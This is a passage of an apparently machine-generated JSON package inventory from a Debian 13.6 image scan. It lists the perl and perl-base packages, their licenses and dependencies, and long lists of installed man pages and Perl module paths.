"/usr/share/man/de/man8/groupmod.8.gz", "/usr/share/man/de/man8/grpck.8.gz", "/usr/share/man/de/man8/newusers.8.gz", "/usr/share/man/de/man8/pwck.8.gz", "/usr/share/man/de/man8/pwconv.8.gz", "/usr/share/man/de/man8/useradd.8.gz", "/usr/share/man/de/man8/userdel.8.gz", "/usr/share/man/de/man8/usermod.8.gz", "/usr/share/man/de/man8/vipw.8.gz", "/usr/share/man/fi/man1/chfn.1.gz", "/usr/share/man/fi/man1/chsh.1.gz", "/usr/share/man/fr/man1/chage.1.gz", "/usr/share/man/fr/man1/chfn.1.gz", "/usr/share/man/fr/man1/chsh.1.gz", "/usr/share/man/fr/man1/expiry.1.gz", "/usr/share/man/fr/man1/gpasswd.1.gz", "/usr/share/man/fr/man1/passwd.1.gz", "/usr/share/man/fr/man5/gshadow.5.gz", "/usr/share/man/fr/man5/passwd.5.gz", "/usr/share/man/fr/man5/shadow.5.gz", "/usr/share/man/fr/man5/subgid.5.gz", "/usr/share/man/fr/man5/subuid.5.gz", "/usr/share/man/fr/man8/chgpasswd.8.gz", "/usr/share/man/fr/man8/chpasswd.8.gz", "/usr/share/man/fr/man8/groupadd.8.gz", "/usr/share/man/fr/man8/groupdel.8.gz", "/usr/share/man/fr/man8/groupmod.8.gz", "/usr/share/man/fr/man8/grpck.8.gz", "/usr/share/man/fr/man8/newusers.8.gz", "/usr/share/man/fr/man8/pwck.8.gz", "/usr/share/man/fr/man8/pwconv.8.gz", "/usr/share/man/fr/man8/useradd.8.gz", "/usr/share/man/fr/man8/userdel.8.gz", "/usr/share/man/fr/man8/usermod.8.gz", "/usr/share/man/fr/man8/vipw.8.gz", "/usr/share/man/hu/man1/chsh.1.gz", "/usr/share/man/hu/man1/gpasswd.1.gz", "/usr/share/man/hu/man1/passwd.1.gz", "/usr/share/man/hu/man5/passwd.5.gz", "/usr/share/man/id/man1/chsh.1.gz", "/usr/share/man/id/man8/useradd.8.gz", "/usr/share/man/it/man1/chage.1.gz", "/usr/share/man/it/man1/chfn.1.gz", "/usr/share/man/it/man1/chsh.1.gz", "/usr/share/man/it/man1/expiry.1.gz", "/usr/share/man/it/man1/gpasswd.1.gz", "/usr/share/man/it/man1/passwd.1.gz", "/usr/share/man/it/man5/gshadow.5.gz", "/usr/share/man/it/man5/passwd.5.gz", "/usr/share/man/it/man5/shadow.5.gz", "/usr/share/man/it/man8/chgpasswd.8.gz", "/usr/share/man/it/man8/chpasswd.8.gz", "/usr/share/man/it/man8/groupadd.8.gz", "/usr/share/man/it/man8/groupdel.8.gz", "/usr/share/man/it/man8/groupmod.8.gz", "/usr/share/man/it/man8/grpck.8.gz", "/usr/share/man/it/man8/newusers.8.gz", "/usr/share/man/it/man8/pwck.8.gz", "/usr/share/man/it/man8/pwconv.8.gz", "/usr/share/man/it/man8/useradd.8.gz", "/usr/share/man/it/man8/userdel.8.gz", "/usr/share/man/it/man8/usermod.8.gz", "/usr/share/man/it/man8/vipw.8.gz", "/usr/share/man/ja/man1/chage.1.gz", "/usr/share/man/ja/man1/chfn.1.gz", "/usr/share/man/ja/man1/chsh.1.gz", "/usr/share/man/ja/man1/expiry.1.gz", "/usr/share/man/ja/man1/gpasswd.1.gz", "/usr/share/man/ja/man1/passwd.1.gz", "/usr/share/man/ja/man5/passwd.5.gz", "/usr/share/man/ja/man5/shadow.5.gz", "/usr/share/man/ja/man8/chpasswd.8.gz", "/usr/share/man/ja/man8/groupadd.8.gz", "/usr/share/man/ja/man8/groupdel.8.gz", "/usr/share/man/ja/man8/groupmod.8.gz", "/usr/share/man/ja/man8/grpck.8.gz", "/usr/share/man/ja/man8/newusers.8.gz", "/usr/share/man/ja/man8/pwck.8.gz", "/usr/share/man/ja/man8/pwconv.8.gz", "/usr/share/man/ja/man8/useradd.8.gz", "/usr/share/man/ja/man8/userdel.8.gz", "/usr/share/man/ja/man8/usermod.8.gz", "/usr/share/man/ja/man8/vipw.8.gz", "/usr/share/man/ko/man1/chfn.1.gz", "/usr/share/man/ko/man1/chsh.1.gz", "/usr/share/man/ko/man5/passwd.5.gz", "/usr/share/man/ko/man8/vipw.8.gz", "/usr/share/man/man1/chage.1.gz", "/usr/share/man/man1/chfn.1.gz", "/usr/share/man/man1/chsh.1.gz", "/usr/share/man/man1/expiry.1.gz", "/usr/share/man/man1/gpasswd.1.gz", "/usr/share/man/man1/passwd.1.gz", "/usr/share/man/man5/gshadow.5.gz", "/usr/share/man/man5/passwd.5.gz", "/usr/share/man/man5/shadow.5.gz", "/usr/share/man/man5/subgid.5.gz", "/usr/share/man/man5/subuid.5.gz", "/usr/share/man/man8/chgpasswd.8.gz", "/usr/share/man/man8/chpasswd.8.gz", "/usr/share/man/man8/groupadd.8.gz", "/usr/share/man/man8/groupdel.8.gz", "/usr/share/man/man8/groupmod.8.gz", "/usr/share/man/man8/grpck.8.gz", "/usr/share/man/man8/newusers.8.gz", "/usr/share/man/man8/pwck.8.gz", "/usr/share/man/man8/pwconv.8.gz", "/usr/share/man/man8/shadowconfig.8.gz", "/usr/share/man/man8/useradd.8.gz", "/usr/share/man/man8/userdel.8.gz", "/usr/share/man/man8/usermod.8.gz", "/usr/share/man/man8/vipw.8.gz", "/usr/share/man/pl/man1/chage.1.gz", "/usr/share/man/pl/man1/chsh.1.gz", "/usr/share/man/pl/man1/expiry.1.gz", "/usr/share/man/pl/man8/groupadd.8.gz", "/usr/share/man/pl/man8/groupdel.8.gz", "/usr/share/man/pl/man8/groupmod.8.gz", "/usr/share/man/pl/man8/grpck.8.gz", "/usr/share/man/pl/man8/userdel.8.gz", "/usr/share/man/pl/man8/usermod.8.gz", "/usr/share/man/pl/man8/vipw.8.gz", "/usr/share/man/pt_BR/man1/gpasswd.1.gz", "/usr/share/man/pt_BR/man5/passwd.5.gz", "/usr/share/man/pt_BR/man5/shadow.5.gz", "/usr/share/man/pt_BR/man8/groupadd.8.gz", "/usr/share/man/pt_BR/man8/groupdel.8.gz", "/usr/share/man/pt_BR/man8/groupmod.8.gz", "/usr/share/man/ru/man1/chage.1.gz", "/usr/share/man/ru/man1/chfn.1.gz", "/usr/share/man/ru/man1/chsh.1.gz", "/usr/share/man/ru/man1/expiry.1.gz", "/usr/share/man/ru/man1/gpasswd.1.gz", "/usr/share/man/ru/man1/passwd.1.gz", "/usr/share/man/ru/man5/gshadow.5.gz", "/usr/share/man/ru/man5/passwd.5.gz", "/usr/share/man/ru/man5/shadow.5.gz", "/usr/share/man/ru/man8/chgpasswd.8.gz", "/usr/share/man/ru/man8/chpasswd.8.gz", "/usr/share/man/ru/man8/groupadd.8.gz", "/usr/share/man/ru/man8/groupdel.8.gz", "/usr/share/man/ru/man8/groupmod.8.gz", "/usr/share/man/ru/man8/grpck.8.gz", "/usr/share/man/ru/man8/newusers.8.gz", "/usr/share/man/ru/man8/pwck.8.gz", "/usr/share/man/ru/man8/pwconv.8.gz", "/usr/share/man/ru/man8/useradd.8.gz", "/usr/share/man/ru/man8/userdel.8.gz", "/usr/share/man/ru/man8/usermod.8.gz", "/usr/share/man/ru/man8/vipw.8.gz", "/usr/share/man/sv/man1/chage.1.gz", "/usr/share/man/sv/man1/chsh.1.gz", "/usr/share/man/sv/man1/expiry.1.gz", "/usr/share/man/sv/man1/passwd.1.gz", "/usr/share/man/sv/man5/gshadow.5.gz", "/usr/share/man/sv/man5/passwd.5.gz", "/usr/share/man/sv/man8/groupadd.8.gz", "/usr/share/man/sv/man8/groupdel.8.gz", "/usr/share/man/sv/man8/groupmod.8.gz", "/usr/share/man/sv/man8/grpck.8.gz", "/usr/share/man/sv/man8/pwck.8.gz", "/usr/share/man/sv/man8/userdel.8.gz", "/usr/share/man/sv/man8/vipw.8.gz", "/usr/share/man/tr/man1/chage.1.gz", "/usr/share/man/tr/man1/chfn.1.gz", "/usr/share/man/tr/man1/passwd.1.gz", "/usr/share/man/tr/man5/passwd.5.gz", "/usr/share/man/tr/man5/shadow.5.gz", "/usr/share/man/tr/man8/groupadd.8.gz", "/usr/share/man/tr/man8/groupdel.8.gz", "/usr/share/man/tr/man8/groupmod.8.gz", "/usr/share/man/tr/man8/useradd.8.gz", "/usr/share/man/tr/man8/userdel.8.gz", "/usr/share/man/tr/man8/usermod.8.gz", "/usr/share/man/uk/man1/chage.1.gz", "/usr/share/man/uk/man1/chfn.1.gz", "/usr/share/man/uk/man1/chsh.1.gz", "/usr/share/man/uk/man1/expiry.1.gz", "/usr/share/man/uk/man1/gpasswd.1.gz", "/usr/share/man/uk/man1/passwd.1.gz", "/usr/share/man/uk/man5/gshadow.5.gz", "/usr/share/man/uk/man5/passwd.5.gz", "/usr/share/man/uk/man5/shadow.5.gz", "/usr/share/man/uk/man8/chgpasswd.8.gz", "/usr/share/man/uk/man8/chpasswd.8.gz", "/usr/share/man/uk/man8/groupadd.8.gz", "/usr/share/man/uk/man8/groupdel.8.gz", "/usr/share/man/uk/man8/groupmod.8.gz", "/usr/share/man/uk/man8/grpck.8.gz", "/usr/share/man/uk/man8/newusers.8.gz", "/usr/share/man/uk/man8/pwck.8.gz", "/usr/share/man/uk/man8/pwconv.8.gz", "/usr/share/man/uk/man8/useradd.8.gz", "/usr/share/man/uk/man8/userdel.8.gz", "/usr/share/man/uk/man8/usermod.8.gz", "/usr/share/man/uk/man8/vipw.8.gz", "/usr/share/man/zh_CN/man1/chage.1.gz", "/usr/share/man/zh_CN/man1/chfn.1.gz", "/usr/share/man/zh_CN/man1/chsh.1.gz", "/usr/share/man/zh_CN/man1/expiry.1.gz", "/usr/share/man/zh_CN/man1/gpasswd.1.gz", "/usr/share/man/zh_CN/man1/passwd.1.gz", "/usr/share/man/zh_CN/man5/gshadow.5.gz", "/usr/share/man/zh_CN/man5/passwd.5.gz", "/usr/share/man/zh_CN/man5/shadow.5.gz", "/usr/share/man/zh_CN/man8/chgpasswd.8.gz", "/usr/share/man/zh_CN/man8/chpasswd.8.gz", "/usr/share/man/zh_CN/man8/groupadd.8.gz", "/usr/share/man/zh_CN/man8/groupdel.8.gz", "/usr/share/man/zh_CN/man8/groupmod.8.gz", "/usr/share/man/zh_CN/man8/grpck.8.gz", "/usr/share/man/zh_CN/man8/newusers.8.gz", "/usr/share/man/zh_CN/man8/pwck.8.gz", "/usr/share/man/zh_CN/man8/pwconv.8.gz", "/usr/share/man/zh_CN/man8/useradd.8.gz", "/usr/share/man/zh_CN/man8/userdel.8.gz", "/usr/share/man/zh_CN/man8/usermod.8.gz", "/usr/share/man/zh_CN/man8/vipw.8.gz", "/usr/share/man/zh_TW/man1/chfn.1.gz", "/usr/share/man/zh_TW/man1/chsh.1.gz", "/usr/share/man/zh_TW/man5/passwd.5.gz", "/usr/share/man/zh_TW/man8/chpasswd.8.gz", "/usr/share/man/zh_TW/man8/groupadd.8.gz", "/usr/share/man/zh_TW/man8/groupdel.8.gz", "/usr/share/man/zh_TW/man8/groupmod.8.gz", "/usr/share/man/zh_TW/man8/useradd.8.gz", "/usr/share/man/zh_TW/man8/userdel.8.gz", "/usr/share/man/zh_TW/man8/usermod.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl@5.40.1-6", "Name": "perl", "Identifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "Version": "5.40.1", "Release": "6", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libperl5.40@5.40.1-6", "perl-base@5.40.1-6", "perl-modules-5.40@5.40.1-6" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/corelist", "/usr/bin/cpan", "/usr/bin/enc2xs", "/usr/bin/encguess", "/usr/bin/h2ph", "/usr/bin/h2xs", "/usr/bin/instmodsh", "/usr/bin/json_pp", "/usr/bin/libnetcfg", "/usr/bin/perlbug", "/usr/bin/perldoc", "/usr/bin/perlivp", "/usr/bin/perlthanks", "/usr/bin/piconv", "/usr/bin/pl2pm", "/usr/bin/pod2html", "/usr/bin/pod2man", "/usr/bin/pod2text", "/usr/bin/pod2usage", "/usr/bin/podchecker", "/usr/bin/prove", "/usr/bin/ptar", "/usr/bin/ptardiff", "/usr/bin/ptargrep", "/usr/bin/shasum", "/usr/bin/splain", "/usr/bin/streamzip", "/usr/bin/xsubpp", "/usr/bin/zipdetails", "/usr/share/doc/perl/README.Debian", "/usr/share/doc/perl/changelog.Debian.gz", "/usr/share/doc/perl/changelog.gz", "/usr/share/doc/perl/copyright", "/usr/share/lintian/overrides/perl", "/usr/share/man/man1/corelist.1.gz", "/usr/share/man/man1/cpan.1.gz", "/usr/share/man/man1/enc2xs.1.gz", "/usr/share/man/man1/encguess.1.gz", "/usr/share/man/man1/h2ph.1.gz", "/usr/share/man/man1/h2xs.1.gz", "/usr/share/man/man1/instmodsh.1.gz", "/usr/share/man/man1/json_pp.1.gz", "/usr/share/man/man1/libnetcfg.1.gz", "/usr/share/man/man1/perlbug.1.gz", "/usr/share/man/man1/perlivp.1.gz", "/usr/share/man/man1/piconv.1.gz", "/usr/share/man/man1/pl2pm.1.gz", "/usr/share/man/man1/pod2html.1.gz", "/usr/share/man/man1/pod2man.1.gz", "/usr/share/man/man1/pod2text.1.gz", "/usr/share/man/man1/pod2usage.1.gz", "/usr/share/man/man1/podchecker.1.gz", "/usr/share/man/man1/prove.1.gz", "/usr/share/man/man1/ptar.1.gz", "/usr/share/man/man1/ptardiff.1.gz", "/usr/share/man/man1/ptargrep.1.gz", "/usr/share/man/man1/shasum.1.gz", "/usr/share/man/man1/splain.1.gz", "/usr/share/man/man1/streamzip.1.gz", "/usr/share/man/man1/xsubpp.1.gz", "/usr/share/man/man1/zipdetails.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl-base@5.40.1-6", "Name": "perl-base", "Identifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "Version": "5.40.1", "Release": "6", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/perl", "/usr/bin/perl5.40.1", "/usr/lib/x86_64-linux-gnu/perl-base/AutoLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Carp.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Carp/Heavy.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Config.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Config_git.pl", "/usr/lib/x86_64-linux-gnu/perl-base/Config_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/Cwd.pm", "/usr/lib/x86_64-linux-gnu/perl-base/DynaLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Errno.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Exporter.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Exporter/Heavy.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Fcntl.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Basename.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Glob.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Path.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Spec.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Spec/Unix.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm", "/usr/lib/x86_64-linux-gnu/perl-base/FileHandle.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Getopt/Long.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Getopt/Long/Parser.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Hash/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/File.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Handle.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Pipe.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Seekable.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Select.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/INET.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/IP.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/UNIX.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IPC/Open2.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IPC/Open3.pm", "/usr/lib/x86_64-linux-gnu/perl-base/List/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/POSIX.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Scalar/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/SelectSaver.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Symbol.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/ParseWords.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/Tabs.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/Wrap.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Tie/Hash.pm", "/usr/lib/x86_64-linux-gnu/perl-base/XSLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/attributes.pm", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Cwd/Cwd.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Fcntl/Fcntl.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/File/Glob/Glob.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Hash/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/IO/IO.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/List/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/POSIX/POSIX.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Socket/Socket.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/attributes/attributes.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/re/re.so", "/usr/lib/x86_64-linux-gnu/perl-base/base.pm", "/usr/lib/x86_64-linux-gnu/perl-base/builtin.pm", "/usr/lib/x86_64-linux-gnu/perl-base/bytes.pm", "/usr/lib/x86_64-linux-gnu/perl-base/constant.pm", "/usr/lib/x86_64-linux-gnu/perl-base/feature.pm", "/usr/lib/x86_64-linux-gnu/perl-base/fields.pm", "/usr/lib/x86_64-linux-gnu/perl-base/integer.pm", "/usr/lib/x86_64-linux-gnu/perl-base/lib.pm", "/usr/lib/x86_64-linux-gnu/perl-base/locale.pm", "/usr/lib/x86_64-linux-gnu/perl-base/overload.pm", "/usr/lib/x86_64-linux-gnu/perl-base/overloading.pm", "/usr/lib/x86_64-linux-gnu/perl-base/parent.pm", "/usr/lib/x86_64-linux-gnu/perl-base/re.pm", "/usr/lib/x86_64-linux-gnu/perl-base/strict.pm", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Age.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bmg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bpb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bpt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Cf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Ea.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/EqUIdeo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/GCB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Gc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Hst.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Identif2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Identifi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/InPC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/InSC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Isc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Jg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Jt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Lb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Lc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFCQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFDQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKCCF.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKCQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKDQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Na1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NameAlia.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Nt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Nv.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/PerlDeci.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/SB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Sc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Scx.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Tc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Uc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Vo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/WB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/_PerlLB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/_PerlSCX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V100.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V11.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V110.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V120.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V130.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V140.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V150.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V20.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V30.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V31.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V32.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V40.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V41.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V50.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V51.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V52.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V60.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V61.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V70.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V80.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V90.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Alpha/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/AN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/B.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/BN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/CS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/EN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ES.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ET.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/NSM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ON.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/WS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Blk/NB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/O.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CE/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CI/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWCF/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWCM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWKCF/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWL/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWT/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWU/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Cased/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/A.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/AR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/ATAR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/B.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/BR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/DB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/NK.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/NR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/OV.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/VR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CompEx/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/DI/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dash/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dep/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dia/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Com.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Enc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Fin.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Font.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Init.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Iso.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Med.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Nar.pl", 